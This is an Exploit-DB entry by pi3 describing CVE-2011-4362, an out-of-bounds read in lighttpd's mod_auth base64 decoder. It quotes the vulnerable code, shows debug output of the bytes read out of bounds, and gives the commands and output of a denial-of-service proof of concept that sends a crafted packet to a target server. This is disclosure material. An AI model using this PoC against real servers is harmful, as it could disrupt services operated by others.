lighttpd - Denial of Service (PoC)

EDB-ID:

18295


Author:

pi3

Type:

dos


Platform:

Linux

Date:

2011-12-31


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29 of November 2011 was the date of public disclosure interesting
vulnerability in lighttpd server. Xi Wang discovered that mod_auth
for this server does not propely decode characters from the extended
ASCII table. The vulnerable code is below:


"src/http_auth.c:67"
--- CUT ---
static const short base64_reverse_table[256] = ...;
static unsigned char * base64_decode(buffer *out, const char *in) {
	...
	int ch, ...;
	size_t i;
	...

		ch = in[i];
		...
		ch = base64_reverse_table[ch];
	...
}
--- CUT ---

Because variable 'in' is type 'char', characters above 0x80 lead to
negative indices.
This vulnerability may lead out-of-boud read and theoretically cause
Segmentation Fault (Denial of Service attack).
Unfortunately I couldn't find any binaries where .rodata section before
the base64_reverse_table
table cause this situation.

I have added some extra debug in the lighttpd source code to see if this
vulnerability is
executed correctly. Here is output for one of the example:

--- CUT ---
ptr[0x9a92c48] size[0xc0] used[0x0]
127(. | 0 | 0)
-128(t | 1 | 0)
-127(e | 2 | 1)
-126(' | 3 | 2)
-125(e | 4 | 3)
-124(u | 5 | 3)
-123(r | 6 | 4)
-122(' | 7 | 5)
-121(s | 8 | 6)
-120(c | 9 | 6)
-119(i | 10 | 7)
-118(n | 11 | 8)
-117(i | 12 | 9)
-116(  | 13 | 9)
-115(a | 14 | 10)
-114(t | 15 | 11)
-113(. | 16 | 12)
-112(e | 17 | 12)
-111(u | 18 | 13)
-110(r | 19 | 14)
-109(' | 20 | 15)
-108(f | 21 | 15)
-107(i | 22 | 16)
-106(e | 23 | 17)
-105(: | 24 | 18)
-104(= | 25 | 18)
-103(o | 26 | 19)
-102(t | 27 | 20)
-101(o | 28 | 21)
-100(  | 29 | 21)
-99(a | 30 | 22)
-98(g | 31 | 23)
-97(. | 32 | 24)
-96(d | 33 | 24)
-95(g | 34 | 25)
-94(s | 35 | 26)
-93(: | 36 | 27)
-92(u | 37 | 27)
-91(s | 38 | 28)
-90(p | 39 | 29)
-89(o | 40 | 30)
-88(t | 41 | 30)
-87(d | 42 | 31)
-86(b | 43 | 32)
-85(c | 44 | 33)
-84(e | 45 | 33)
-83(d | 46 | 34)
-82(( | 47 | 35)
-81(n | 48 | 36)
-80(y | 49 | 36)
-79(h | 50 | 37)
-78(d | 51 | 38)
-77(g | 52 | 39)
-76(s | 53 | 39)
-75(  | 54 | 40)
-74(r | 55 | 41)
-73(p | 56 | 42)
-72(a | 57 | 42)
-71(n | 58 | 43)
-70(. | 59 | 44)
-69(. | 60 | 45)
-68(d | 61 | 45)
-67(g | 62 | 46)
-66(s | 63 | 47)
-65(: | 64 | 48)
-64(( | 65 | 48)
-63(d | 66 | 49)
-62(- | 67 | 50)
-61(e | 68 | 51)
-60(s | 69 | 51)
-59(  | 70 | 52)
-58(i | 71 | 53)
-57(s | 72 | 54)
-56(n | 73 | 54)
-55(  | 74 | 55)
-54(i | 75 | 56)
-53(l | 76 | 57)
-52(. | 77 | 57)
-51(. | 78 | 58)
-50(k | 79 | 59)
-49(0 | 80 | 60)
-48(% | 81 | 60)
-47(] | 82 | 61)
-46(p | 83 | 62)
-45(r | 84 | 63)
-44(0 | 85 | 63)
-43(% | 86 | 64)
-42(] | 87 | 65)
-41(s | 88 | 66)
-40(z | 89 | 66)
-39([ | 90 | 67)
-38(x | 91 | 68)
-37(x | 92 | 69)
-36(  | 93 | 69)
-35(s | 94 | 70)
-34(d | 95 | 71)
-33(0 | 96 | 72)
-32(% | 97 | 72)
-31(] | 98 | 73)
-30(. | 99 | 74)
-29(. | 100 | 75)
-28(d | 101 | 75)
-27(c | 102 | 76)
-26(d | 103 | 77)
-25(i | 104 | 78)
-24(g | 105 | 78)
-23(b | 106 | 79)
-22(s | 107 | 80)
-21(6 | 108 | 81)
-20(- | 109 | 81)
-19(t | 110 | 82)
-18(i | 111 | 83)
-17(g | 112 | 84)
-16(f | 113 | 84)
-15(i | 114 | 85)
-14(e | 115 | 86)
-13(. | 116 | 87)
-12(. | 117 | 87)
-11(. | 118 | 88)
-10(. | 119 | 89)
-9(. | 120 | 90)
-8(. | 121 | 90)
-7(. | 122 | 91)
-6(. | 123 | 92)
-5(. | 124 | 93)
-4(. | 125 | 93)
-3(. | 126 | 94)
-2(. | 127 | 95)
-1(. | 128 | 96)
k[0x60] ptr[0x9a92c48] size[0xc0] used[0x0]
ptr[0x9a92c48] size[0xc0] used[0x60]
string [.Yg.\...n.Xt.]r.ze.....g.Y..\..Yb.Y(..d..r.[..Y...-.xi..i.]
--- CUT ---

First column is the offset so vulnerability is executed like it should be
(negative offsets). Second column is byte which is read out-of-bound.

How to run this very primitive Proof of Concept?

$ gcc p_cve-2011-4362.c -o p_cve-2011-4362
$ ./p_cve-2011-4362 

	...::: -=[ Proof of Concept for CVE-2011-4362 (by Adam 'pi3' Zabrocki)
]=- :::...

	Usage: ./p_cve-2011-4362 <options>

		Options:
			 -v <victim>
			 -p <port>
			 -d <remote_dir_for_auth>

$ ./p_cve-2011-4362 -h 127.0.0.1 -p 81 -d dupa

	...::: -=[ Proof of Concept for CVE-2011-4362 (by Adam 'pi3' Zabrocki)
]=- :::...

		[+] Preparing arguments... OK
		[+] Creating socket... OK
		[+] Connecting to [127.0.0.1]... OK
		[+] Sending dirty packet... OK

		[+] Check the website!

$ 

Lighttpd will log this situation probably in error-log file like this:

--- CUT ---
..
..
2011-12-xx xx:xx:11: (http_auth.c.887) : is missing in
�Yg\���n�Xt�]rze���gY��\��Yb�Y(�d��r�[Y���-�xi��i�k�Wp�	]߶��\���@V��x���ize

--- CUT ---

Maybe you can find vulnerable binary?

Best regards,
Adam 'pi3' Zabrocki


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http://blog.pi3.com.pl/?p=277